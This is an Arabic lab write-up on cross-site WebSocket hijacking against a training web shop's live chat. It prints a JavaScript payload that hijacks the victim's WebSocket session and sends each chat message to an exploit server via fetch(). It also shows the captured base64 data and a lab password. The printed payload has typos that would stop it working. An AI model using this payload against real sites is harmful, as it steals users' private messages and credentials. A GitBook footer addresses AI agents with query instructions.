> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/websockets/cross-site-websocket-hijacking.md).

# اختطاف WebSocket عبر المواقع المتقاطعة

### اختطاف WebSocket عبر المواقع

التطبيق متجر إلكتروني يحتوي على **دردشة مباشرة** ميزة مطبقة باستخدام **WebSockets**. / في كل مرة تزور فيها صفحة الدردشة، **يتم تحميل سجل المحادثة بالكامل تلقائيًا**، دون تحكم صارم في أصل الطلب.

<figure><img src="/files/9cbb98401feeaf22cc7a0053f1c194ad90375515" alt=""><figcaption></figcaption></figure>

تستخدم الرسائل المتبادلة تنسيق JSON التالي:

```json
{
    "user":"أنت",
    "content":"مرحبًا"
}
```

<figure><img src="/files/93f83f7365e9991de2b19dd075e1c84d7c2660d1" alt=""><figcaption></figcaption></figure>

استخرج سجل المحادثة الخاص بالضحية عبر هجوم \*\*اختطاف WebSocket عبر المواقع\*\*، ثم استخدم المعلومات المستردة للوصول إلى حسابه.

***

#### مبدأ الهجوم

L的**خادم الاستغلال** يُستخدم لاستضافة حمولة HTML/JavaScript التي:

1. تنشئ اتصال WebSocket بخادم الدردشة المستهدف.
2. ترسل الرسالة المطلوبة لبدء الاتصال (`READY`).
3. تعترض جميع الرسائل المستلمة عبر WebSocket.
4. تهرّب هذه الرسائل إلى خادم الاستغلال بعد ترميزها بـ Base64.

***

#### الحمولة المستخدمة

ملف `data.js` يتم إنشاء الملف بالمحتوى التالي:

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

يعمل هذا السكربت في متصفح الضحية عندما تزور خادم الاستغلال ويعمل ضمن جلستها الموثقة تلقائيًا.

<figure><img src="/files/0bcee111540d1e91b1ca858ee3578c64c95f9762" alt=""><figcaption></figcaption></figure>

#### البيانات المُهرَّبة

يتلقى الخادم التشغيلي عدة سلاسل مشفرة بـ Base64، على سبيل المثال:

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

{% endcode %}

بعد فك الترميز، يُعاد تكوين سجل المحادثة الكامل:

```json
{"user":"Hal Pline","content":"مرحبًا، كيف يمكنني مساعدتك؟"}
{"user":"أنت","content":"نسيت كلمة مروري"}
{"user":"Hal Pline","content":"لا مشكلة يا كارلوس، كلمة المرور هي bijj9k61m8bjv18ug67u"}
{"user":"أنت","content":"شكرًا، آمل ألا يرتدّ هذا عليّ لاحقًا!"}
{"user":"متصل","content":"-- الآن تتم الدردشة مع Hal Pline --"}
```

#### النتيجة

تتيح المعلومات الحساسة المستردة تحديد بيانات اعتماد الضحية:

* **المستخدم**: كارلوس
* **كلمة المرور**: `bijj9k61m8bjv18ug67u`

يمكن بعد ذلك استخدام هذه البيانات الاعتمادية للاتصال بحساب كارلوس واجتياز المختبر.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/websockets/cross-site-websocket-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
